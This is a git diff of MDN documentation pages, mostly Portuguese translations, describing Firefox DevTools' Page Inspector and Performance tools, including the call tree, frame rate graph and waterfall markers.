{{ToolsSidebar}}

Firefox add-ons may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context:

- -

window.inspector

- -

defined in inspector-panel.js. Attributes and functions:

- - - -

Bindable events using on:

- -

markuploaded

- -

Called when the left panel has been refreshed, after page change.

- -

ready

- -

Called on first markuploaded.

- -

pseudoclass

- -

Called after toggle of a pseudoclass.

- -

layout-change

- -

"low-priority change event for things like paint and resize."

diff --git a/files/pt-pt/tools/page_inspector/how_to/visualizar_tipos_de_letra/index.html b/files/pt-pt/tools/page_inspector/how_to/visualizar_tipos_de_letra/index.html deleted file mode 100644 index fef74a5306..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/visualizar_tipos_de_letra/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Visualizar tipos de letra -slug: Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Edit_fonts ---- -
{{ToolsSidebar}}

Dica da ferramenta da família do tipo de letra

- -

Se passar o rato sobre uma propriedade da família do tipo de letra em visualizar Regras, irá obter uma dica de ferramenta com uma amostra desse tipo de letra:

- -

- -

Visualizar tipos de letra

- -
-

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

- -

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

-
- -

Em visualizar Tipos de Letra mostra todos os tipos de letra em utilziação pelo elemento selecionado. Note que esta mostra o tipo de letra utilizado no seu sistema, que poderá ser diferente dos tipos de letra especificados na CSS:

- -

- -

O texto em 'visualizar tipo de letra' é "Abc" por predefinição, e a partir da versão 41 do Firefox o texto da pré-visualização pode ser editado livremente.

diff --git a/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html b/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html new file mode 100644 index 0000000000..6074a4f513 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html @@ -0,0 +1,108 @@ +--- +title: Trabalhar com animações +slug: Tools/Page_Inspector/How_to/Trabalhar_com_animacoes +translation_of: Tools/Page_Inspector/How_to/Work_with_animations +--- +
{{ToolsSidebar}}

Este artigo aborda três ferramentas que pode utilizar para visualizar e editar animações:

+ + + +

Inspetor de animação

+ +
+

Although this tool was introduced in Firefox 41, its UI was revamped in Firefox 43. This article describes the animation inspector as it appears in Firefox 43 and subsequent releases. If you want to see what the animation inspector looks like in Firefox 41 and 42, see this separate page.

+
+ +

From Firefox 41, the Page Inspector includes an extra view labeled "Animations".

+ +

This view displays CSS transitions and CSS animations synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.

+ +

To see how it works, we'll walk through an example. The box below contains three grayscale icons, each representing a different Firefox channel. If you click an icon, the icon enlarges and changes to color, and the name of the channel appears. Click the icon again to reverse the effect. These animations are made by applying transitions to several CSS properties.

+ +

{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}

+ +

Let's use the animation inspector to see what's going on in this example.

+ + + +

{{EmbedYouTube("U2eJYacf5XY")}}

+ +

Now play the animation:

+ +

{{EmbedYouTube("CwXXXEllB3o")}}

+ +

Let's take a closer look at the contents of the animation inspector here:

+ +

+ +

It shows a synchronized timeline for every CSS property transition involved in the animation. The timeline starts at the start of the first transition, and ends at the end of the last transition, and is labeled with markers every 100 milliseconds (this depends on the time scale of the animations currently displayed). You can see that the example above takes 735 milliseconds to run.

+ +

Cada animação ou transição é mostrada como uma barra horizontal disposta através da barra cronológica:

+ + + +

To the left of each bar is a selector for the node that the animation applies to. If you hover over this selector, the node is highlighted in the page. Click the selector to select the node in the inspector.

+ +

To the left of the selector is a "target" icon (). From Firefox 44, clicking this icon will lock the highlighter on the element.

+ +

Aplicando tudo isto para o nosso exemplo, nós podemos ver que:

+ + + +

Reprodução de animação

+ +

No topo do inspetor de animação:

+ + + +

Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when:

+ +

{{EmbedYouTube("1hqNaMsB48g")}}

+ +

Editar @keyframes

+ +

Quaisquer regras de @keyframes associadas com o elemento atualmente selecionado são exibibas na Visualização das Regras e são editáveis:

+ +

{{EmbedYouTube("mDHtLK88ZW4")}}

+ +

Editar funções de sincronização

+ +

When you create a CSS animation you can specify a timing function: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.

+ +

Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag P1 and P2, and see the results in the page:

+ +

{{EmbedYouTube("GW5-R2ewaqA")}}

+ +

Esta funcionalidade utiliza o código fonte de Lea Verou’s cubic-bezier.com.

+ +

O editor cúbico Bézier inclui um número de pré-ajustes, agrupados sob "Ease-in", "Ease-out", and "Ease-in-out":

+ +

{{EmbedYouTube("Jx-J2Yy0aSg")}}

diff --git a/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html b/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..4fb8d75fb7 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html @@ -0,0 +1,93 @@ +--- +title: Atalhos de teclado do inspetor de página +slug: Tools/Page_Inspector/atalhos_de_teclado +translation_of: Tools/Page_Inspector/Keyboard_shortcuts +--- +
{{ToolsSidebar}}

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "page-inspector") }}

+ +

Atalhos globais

+ +

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "all-toolbox-tools") }}

+ +
+ + + + + +
diff --git a/files/pt-pt/tools/page_inspector/ui_tour/index.html b/files/pt-pt/tools/page_inspector/ui_tour/index.html new file mode 100644 index 0000000000..271798ce5c --- /dev/null +++ b/files/pt-pt/tools/page_inspector/ui_tour/index.html @@ -0,0 +1,101 @@ +--- +title: Guia de IU +slug: Tools/Page_Inspector/Guia_de_IU +tags: + - Ferramentas + - Guia(2) + - Inspetor +translation_of: Tools/Page_Inspector/UI_Tour +--- +
{{ToolsSidebar}}

Este artigo é um guia rápido das secções principais da interface do utilizador de Inspetor de Página.

+ +

Esta abrange três componentes de topo da IU do Inspetor:

+ + + +

This guide is intentionally kept as short as possible. It links to various how to guides for the details of how to work with the Inspector.

+ +

Botão de selecionar elemento

+ +

The Inspector gives you detailed information about the currently selected element. The Select element button is one way you can select an element for inspection:

+ +

+ +

Note that it's actually part of the main toolbox toolbar, so it's immediately accessible from any tool, not just the Inspector.

+ +

To learn how to select an element, see the guide to selecting an element.

+ +

Painel de HTML

+ +

The Inspector is split into two halves. The left-hand half is occupied by the HTML pane:

+ +

+ +

To learn more about the structure of the HTML pane, see the guide to examining and editing HTML.

+ +

Painel de CSS

+ +

The right-hand side of the Inspector is occupied by the CSS pane:

+ +

The CSS pane is divided into 4 views:

+ + + +

Use the tabs along the top to switch between the different views.

+ +

Visualizar Regras

+ +

The Rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific:

+ +

+ +

See Examine and edit CSS for more details.

+ +

Visualização computada

+ +

The Computed view shows you the complete computed CSS for the selected element, and an editable visual representation of the box model for the element:

+ +

+ +

To learn more about the box model view, see Examine and edit the box model. Note that before Firefox 50, the box model view did not appear in the "Computed view" tab, but had its own tab.

+ +

To learn more about the CSS declarations listed in this view, see Examine computed CSS.

+ +

Visualizar tipo de letra

+ +
+

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

+ +

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

+
+ +

The Fonts view shows all the fonts in the page along with editable samples.

+ +

+ +

Consultar Visualizar tipos de letra para mais detalhes.

+ +

Visualizar animações

+ +

The Animations view gives you details of any animations applied to the selected element, and a controller to pause them:

+ +

 

+ +

+ +

Consulte Work with animations para mais detalhes.

+ +

Mostrar/ocultar painel CSS

+ +

From Firefox 40 onwards, there's a button in the toolbar that you can use to show or hide the CSS pane:

+ +

diff --git a/files/pt-pt/tools/performance/call_tree/index.html b/files/pt-pt/tools/performance/call_tree/index.html new file mode 100644 index 0000000000..d5b2dd2d7f --- /dev/null +++ b/files/pt-pt/tools/performance/call_tree/index.html @@ -0,0 +1,193 @@ +--- +title: Arvóre de Chamada +slug: Tools/Desempenho/Arvore_de_Chamada +tags: + - Desempenho + - JavaScript + - memoria +translation_of: Tools/Performance/Call_Tree +--- +
{{ToolsSidebar}}
+

A 'Árvore de Chamada' (Call Tree) diz-lhe quais as funções de JavaScript que o navegador gastou mais tempo. Ao analisar os resultados, pode encontrar estrangulamentos no seu código - locais onde o navegador está a gastar uma quantidade desproporcionalmente grande de tempo.

+ +

Estes estrangulamentos são locais onde quaisquer otimizações que pode fazer irão ter um grande impacto.

+
+ +

The Call Tree is a sampling profiler. It periodically samples the state of the JavaScript engine and records the stack for the code executing at the time. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it.

+ +
+

In this article, we'll use the output of a simple program as an example. If you want to get the program to experiment with your profile, you can find it here. You can find the specific profile we discuss here - just import it to the performance tool to follow along.

+ +

There's a short page describing the structure of this program here.

+ +

Note that we use the same program - the same profile, in fact - in the documentation page for the Flame Chart.

+
+ +

The screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. To do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.

+ +

We've zoomed into the part of the recording that shows a long JavaScript marker:

+ +

+ +

The Call Tree presents the results in a table. Each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest.

+ +

Samples is the number of samples that were taken when we were executing this particular function.

+ +

Self Cost is that number as a percentage of the total number of samples in the selected portion of the recording.

+ +

Self Time is that number translated into milliseconds, based on the total amount of time covered by the selected portion of the recording.

+ +

In the current version of the Call Tree, these are the most important columns. Functions with a relatively high Self Cost are good candidates for optimization, either because they take a long time to run, or because they are called very often.

+ +

This screenshot tells us something we probably already knew: Bubble sort is a very inefficient algorithm. We have about six times as many samples in bubble sort as in selection sort, and 13 times as many as in quicksort.

+ +

Mover-se na árvore de chamada

+ +

Next to each function name is a disclosure arrow: Click that, and you can see the path back up the call tree, from the function in which the sample was taken, to the root. For example, we can expand the entry for bubbleSort():

+ +

+ +

So we can see the call graph is like this:

+ +
sortAll()
+
+    -> sort()
+
+        -> bubbleSort()
+ +

Note also that Self Cost for sort() here is 1.45%, and note that this is the same as for the separate entry for sort() later in the list. This is telling us that some samples were taken in sort() itself, rather than in the functions it calls.

+ +

Sometimes there's more than one path back from an entry to the top level. Let's expand the entry for swap():

+ +

+ +

There were 253 samples taken inside swap(). But swap() was reached by two different paths: both bubbleSort() and selectionSort() use it. We can also see that 252 of the 253 samples in swap() were taken in the bubbleSort() branch, and only one in the selectionSort() branch.

+ +

This result means that bubble sort is even less efficient than we had thought! It can shoulder the blame for another 252 samples, or almost another 10% of the total cost.

+ +

With this kind of digging, we can figure out the whole call graph, with associated sample count:

+ +
sortAll()                         //    8
+
+    -> sort()                     //   37
+
+        -> bubbleSort()           // 1345
+
+            -> swap()             //  252
+
+        -> selectionSort()        //  190
+
+            -> swap()             //    1
+
+        -> quickSort()            //  103
+
+            -> partition()        //   12
+ +

Dados da plataforma

+ +

You'll also see some rows labeled Gecko, Input & Events, and so on. These represent internal browser calls.

+ +

This can be useful information too. If your site is making the browser work hard, this might not show up as samples recorded in your code, but it is still your problem.

+ +

In our example, there are 679 samples assigned to Gecko - the second-largest group after bubbleSort(). Let's expand that:

+ +

+ +

This result is telling us that 614 of those samples, or about 20% of the total cost, are coming from our sort() call. If we look at the code for sort(), it should be fairly obvious that the high platform data cost is coming from repeated calls to console.log():

+ +
function sort(unsorted) {
+  console.log(bubbleSort(unsorted));
+  console.log(selectionSort(unsorted));
+  console.log(quickSort(unsorted));
+}
+ +

It would certainly be worthwhile considering more efficient ways of implementing this.

+ +

One thing to be aware of here is that idle time is classified as Gecko, so parts of your profile where your JavaScript isn't running will contribute Gecko samples. These aren't relevant to the performance of your site.

+ +
+

By default, the Call Tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on Firefox. If you want to see the details, check "Show Gecko Platform Data" in the Settings.

+
+ +
+ + + + + +
diff --git a/files/pt-pt/tools/performance/frame_rate/index.html b/files/pt-pt/tools/performance/frame_rate/index.html new file mode 100644 index 0000000000..aa1c1c8817 --- /dev/null +++ b/files/pt-pt/tools/performance/frame_rate/index.html @@ -0,0 +1,60 @@ +--- +title: Frame rate +slug: Tools/Desempenho/Frame_rate +tags: + - frame rate +translation_of: Tools/Performance/Frame_rate +--- +
{{ToolsSidebar}}
+

Frame rate é uma medida da reação de um site da Web. Uma frame rate baixa ou inconsistente pode fazer com que um site pareça irrespondível ou janky, criando uma má experiência de utilizador.

+ +

Uma frame rate de 60 imagens por segundo é o ideal para um desempenho suave, proporcionando-lhe um período de tempo de 16.7ms para todas as atualizações necessária na resposta para algum evento.

+ +

O gráfico de frame rate na ferramenta 'Desempenho'  mostra-lhe a frame rate durante o curso de uma gravação. Este dá-lhe uma indicação rápida de onde o seu site poderá estar a ter problemas, permitindo-lhe utilizar as outras ferramentas para uma análise mais aprofundada.

+
+ +

Frame rate e resposta

+ +

Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps.

+ +

In web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it.

+ +

For example, if moving the mouse over some page element triggers some JavaScript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. If it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky).

+ +

Similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze.

+ +

In general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging.

+ +
+

A frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.

+ +

However, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze.

+
+ +

Gráfico da frame rate

+ +

The frame rate graph is found in the Recording overview part of the Performance tool. It takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording.

+ +

The x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate.

+ +

Utilização do gráfico de frame rate

+ +

The great value of the frame rate graph is that, like the Web Console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. For example, here's a screenshot of a performance profile:

+ +

+ +

You can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutter for any animations that were playing in the page.

+ +

The frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing JavaScript.

+ +

If we select one of these slices of the recording, the main Waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem:

+ +

+ +

We have a JavaScript function from a click event that's blocking the main thread for 170 milliseconds.

+ +

Which function, though? Switch to the Flame Chart to see the call stack at that point:

+ +

+ +

The offending function is called doPointlessComputations(), and it's defined in "main.js". To fix it, we might consider splitting it into pieces and running the pieces inside requestAnimationFrame, or even running the entire function in a worker. The Intensive JavaScript article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous JavaScript.

diff --git a/files/pt-pt/tools/performance/guia_da_iu/index.html b/files/pt-pt/tools/performance/guia_da_iu/index.html deleted file mode 100644 index e1b561a017..0000000000 --- a/files/pt-pt/tools/performance/guia_da_iu/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Guia da IU (Interface do Utilizador) -slug: Tools/Performance/Guia_da_IU -translation_of: Tools/Performance/UI_Tour ---- -
{{ToolsSidebar}}

A 'IU - Interface do Utilizador' da ferramenta desempenho consiste em 4 partes principais:

- -

- - - -

Barra de Ferramentas

- -

A barra de ferramentas contém botões para:

- - - -

- -

Painel de gravações

- -

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

- -

- -

At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".

- -

Resumo da gravação

- -

This displays an overview of the entire recording, with the x-axis representing time.

- -

- -

It contains two elements: an overview of the Waterfall and a frame rate graph.

- -

Resumo de Waterfall

- -

This presents a compressed view of the Waterfall:

- -

- -

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

- -

Gráfico de taxa de imagem

- -

The frame rate gives you an overview of the browser's responsiveness during the recording:

- -

- -

See the separate article on frame rate.

- -

Eventos dependentes

- -

Because these elements are synchronized, you can correlate events in one element with events in another.

- -

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

- -

- -

Zoom

- -

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

- -

- -

Painel de detalhes

- -

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

- -

Waterfall

- -

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

- -

- -

To learn much more about the Waterfall, see the separate Waterfall page.

- -

Call Tree

- -

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

- -


- To learn much more about the Call Tree, see the separate Call Tree page.

- -

Flame Chart

- -

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

- -

- -

To learn much more about the Flame Chart, see the separate Flame Chart page.

- -

Alocações

- -
-

The Allocations view is new in Firefox 46.

-
- -

The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

- -

- -

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

- -

{{EmbedYouTube("Le9tTo7bqts")}}

- -

To learn much more about the Allocations view, see the separate Allocations page.

- -

 

diff --git a/files/pt-pt/tools/performance/how_to/index.html b/files/pt-pt/tools/performance/how_to/index.html new file mode 100644 index 0000000000..f8e7e99d8d --- /dev/null +++ b/files/pt-pt/tools/performance/how_to/index.html @@ -0,0 +1,64 @@ +--- +title: Como fazer! +slug: Tools/Desempenho/Como_fazer +translation_of: Tools/Performance/How_to +--- +
{{ToolsSidebar}}
+ +

Abrir as ferramentas de «Desempenho»

+ +

Para abrir as ferramentas de Desempenho:

+ + + +

Gravar um perfil

+ +

To start a new recording, press the stopwatch icon in the Recordings pane. To stop, press it again:

+ +

+ +

You can also start and stop recording from the Web Console, using console.profile() and console.profileEnd().

+ +

Guardar um perfil

+ +

To save a profile, click the link labeled "Save" in the Recordings pane:

+ +

+ +

Carregar um perfil

+ +

To load a profile, click "Import..." and choose the file:

+ +

+ +

Limpar todos os perfis carregados

+ +

To clear all loaded profiles, click "Clear".

+ +
+

If you do this, you'll lose any loaded profiles that you have not saved.

+
+ +

+ +

Selecionar uma ferramenta

+ +

To switch between the Waterfall, Call Tree, and Flame Chart tools, use the buttons in the toolbar:

+ +

+ +

Configurar marcadores exibidos

+ +

To control which markers are shown in the Waterfall, use the button in the toolbar:

+ +

+ +

Zoom +

+ +

To zoom into a slice of the recording, select that slice in the recording overview:

+ +

diff --git a/files/pt-pt/tools/performance/index.html b/files/pt-pt/tools/performance/index.html new file mode 100644 index 0000000000..7e5f3cdd2b --- /dev/null +++ b/files/pt-pt/tools/performance/index.html @@ -0,0 +1,185 @@ +--- +title: Desempenho +slug: Tools/Desempenho +tags: + - Aprender + - Desempenho + - Desempenho da Web + - Ferramentas de Desenvolvimento + - Ferramentas de Programação +translation_of: Tools/Performance +--- +
{{ToolsSidebar}}
+ +

A ferramenta de Desempenho mostra-lhe a resposta geral do seu site, o desempenho da disposição e JavaScript. Com esta ferramenta pode criar um registo, ou perfil, do seu site durante um período do tempo.  A ferramenta depois mostra-lhe uma sinopse das coisas que o navegador esteve a fazer ao renderizar o seu site sob o perfil, e um gráfico da frame rate sob o perfil.

+ +

Tem quatro subferramentas para examinar os aspetos do perfil em mais detalhe:

+ + + +

{{EmbedYouTube("WBmttwfA_k8")}}

+ +
+

Iniciação

+ +
+
+
+
Guia da IU
+
+

To find your way around the Performance tool, here's a quick tour of the UI.

+
+
+
+ +
+
+
Como fazer!
+
Basic tasks: open the tool, create, save, load, and configure recordings
+
+
+
+ +
+

Componentes da ferramenta «Desemepenho»

+ +
+
+
+
Frame rate
+
Understand your site's overall responsiveness.
+
Árvore de Chamada
+
Find bottlenecks in your site's JavaScript.
+
Allocations
+
See the allocations made by your code over the course of the recording.
+
+
+ +
+
+
Cascata
+
Understand the work the browser's doing as the user interacts with your site.
+
Flame Chart
+
See which JavaScript functions are executing, and when, over the course of the recording.
+
+
+
+
+ +
+

Cenários

+ +
+
+
+
Animating CSS properties
+
Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.
+
+
+
+ +
+
+
Intensive JavaScript
+
Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.
+
+
+
+ + + +
+
+
+
+
+ + + +
+ + + + + +
diff --git a/files/pt-pt/tools/performance/ui_tour/index.html b/files/pt-pt/tools/performance/ui_tour/index.html new file mode 100644 index 0000000000..e1b561a017 --- /dev/null +++ b/files/pt-pt/tools/performance/ui_tour/index.html @@ -0,0 +1,127 @@ +--- +title: Guia da IU (Interface do Utilizador) +slug: Tools/Performance/Guia_da_IU +translation_of: Tools/Performance/UI_Tour +--- +
{{ToolsSidebar}}

A 'IU - Interface do Utilizador' da ferramenta desempenho consiste em 4 partes principais:

+ +

+ + + +

Barra de Ferramentas

+ +

A barra de ferramentas contém botões para:

+ + + +

+ +

Painel de gravações

+ +

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

+ +

+ +

At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".

+ +

Resumo da gravação

+ +

This displays an overview of the entire recording, with the x-axis representing time.

+ +

+ +

It contains two elements: an overview of the Waterfall and a frame rate graph.

+ +

Resumo de Waterfall

+ +

This presents a compressed view of the Waterfall:

+ +

+ +

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

+ +

Gráfico de taxa de imagem

+ +

The frame rate gives you an overview of the browser's responsiveness during the recording:

+ +

+ +

See the separate article on frame rate.

+ +

Eventos dependentes

+ +

Because these elements are synchronized, you can correlate events in one element with events in another.

+ +

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

+ +

+ +

Zoom

+ +

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

+ +

+ +

Painel de detalhes

+ +

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

+ +

Waterfall

+ +

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

+ +

+ +

To learn much more about the Waterfall, see the separate Waterfall page.

+ +

Call Tree

+ +

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

+ +


+ To learn much more about the Call Tree, see the separate Call Tree page.

+ +

Flame Chart

+ +

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

+ +

+ +

To learn much more about the Flame Chart, see the separate Flame Chart page.

+ +

Alocações

+ +
+

The Allocations view is new in Firefox 46.

+
+ +

The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

+ +

+ +

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

+ +

{{EmbedYouTube("Le9tTo7bqts")}}

+ +

To learn much more about the Allocations view, see the separate Allocations page.

+ +

 

diff --git a/files/pt-pt/tools/performance/waterfall/index.html b/files/pt-pt/tools/performance/waterfall/index.html new file mode 100644 index 0000000000..3977d5d088 --- /dev/null +++ b/files/pt-pt/tools/performance/waterfall/index.html @@ -0,0 +1,563 @@ +--- +title: Cascata +slug: Tools/Desempenho/Cascata +translation_of: Tools/Performance/Waterfall +--- +
{{ToolsSidebar}}
+

A 'Cascata' (Waterfall) mostra-lhe várias coisas que o navegador está a fazer na medida em que este excecuta o seu site ou aplicação. É baseado na ideia de que as coisas que o navegador faz quando executa um site pode ser dividido em vários tipos - executar JavaScript, atualizar a disposição, etc... - e que em qualquer ponto no tempo, o navegador está a fazer essas coisas.

+ +

Assim, se vir um sinal de um problema de desempenho - uma quebra na frame rate, por exemplo - pode ir para a 'Cascata' para ver o que o navegador estava a fazer nesse ponto da gravação.

+
+ +

+ +

Along the X-axis is time. Recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution.

+ +

When a marker is selected you'll see more information about it in a sidebar on the right. This includes the marker's duration and some more information that's specific to the marker type.

+ +

Marcadores

+ +

The markers for operations are color-coded and labeled. The following operations are recorded:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome e descriçãoCorInformação detalhada
+

DOM Event

+ +

JavaScript code that's executed in response to a DOM event.

+
+
+
Event Type
+
For example, "click" or "message".
+
+ +
+
Event Phase
+
For example, "Target" or "Capture".
+
+
+

JavaScript functions executed in the page are labeled with the reason the function was called:

+ +

Script Tag
+ setInterval
+ setTimeout
+ requestAnimationFrame
+ Promise Callback
+ Promise Init
+ Worker
+ JavaScript URI
+ Event Handler

+
+
+
Stack
+
Call stack, with links to functions.
+
+
+

Analisar HTML

+ +

Time spent parsing the page's HTML.

+
+
+
Stack
+
Call stack, with links to functions.
+
+
+

Analisar XML

+ +

Time spent parsing the page's XML.

+
+
+
Stack
+
Call stack, with links to functions.
+
+
+

Recalcular Estilo

+ +

Calculating the computed styles that apply to page elements.

+
+
+
Restyle Hint
+
A string indicating what kind of restyling is needed. The hint may be any of:
+ Self
+ Subtree
+ LaterSiblings
+ CSSTransitions
+ CSSAnimations
+ SVGAttrAnimations
+ StyleAttribute
+ StyleAttribute_Animations
+ Force
+ ForceDescendants
+
+
+

Disposição (Layout)

+ +

Calculating the position and size of page elements. This operation is sometimes called "reflow".

+
 
+

Pintura

+ +

Desenhar píxeis para o ecrã.

+
 
+

Coleção de Lixo

+ +

Garbage collection event. Non-incremental GC events are labeled "(Non-incremental)".

+
+
+
Motivo
+
A string the indicating the reason GC was performed.
+
Motivo Não Incremental
+
If the GC event was non-incremental, the string indicates the reason non-incremental GC was performed.
+
+ +
+

New in Firefox 46: if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event.

+ +

See Allocations and Garbage Collection for more details.

+
+
+

Ciclo da Coleção

+ +

Reclaiming C++ reference-counted data structures.

+ +

Like garbage collection, but for C++ objects. See Kyle Huey's blog post about cycle collection.

+
+
+
Tipo
+
Always "Collect".
+
+
+

CC - Reduçãod e Gráfico

+ +

Preparation/pre-optimization for Cycle Collection.

+
+
+
Tipo
+
Always "ForgetSkippable".
+
+
+

Consola

+ +

The period between matching calls to console.time() and console.timeEnd().

+
+
+
Nome do temporizador
+
The argument passed to the console functions.
+
Stack at start
+
Call stack console.time(), with links to functions.
+
Stack at End
+
(New in Firefox 41). Call stack at console.timeEnd(). If this is inside a callback from a Promise, this will also show the "Async stack".
+
+
+

Data/Hora

+ +

A single call to console.timeStamp().

+
+
+
Etiqueta
+
The argument passed to timeStamp().
+
+
+

DOM - Conteúdo Carregado

+ +

The document's DOMContentLoaded event.

+
 
+

Carregamento

+ +

The document's load event.

+
 
+

Worker event in main thread

+ +

Shown when the main thread sends a message to a worker, or receives a message from a worker.

+
+

One of:

+ +
+
Serialize data on the main thread
+
The main thread is serializing a message to be sent to the worker.
+
Deserialize data on the main thread
+
The main thread is deserializing a message received from the worker.
+
+
+

Worker event in worker thread

+ +

Shown when a worker receives a message from the main thread, or sends a message to the main thread.

+
+

One of:

+ +
+
Serialize data in Worker
+
The worker is serializing a message to be sent to the main thread.
+
Deserialize data in Worker
+
The worker is deserializing a message received from the main thread.
+
+
+ +

The markers, and their colors, are the same in the Waterfall tool as in the Waterfall overview, making is easy to correlate from one to the other.

+ +

Filtrar marcadores

+ +

You can control which markers are displayed using a button in the Toolbar:

+ +

+ +

Padrões de cascata

+ +

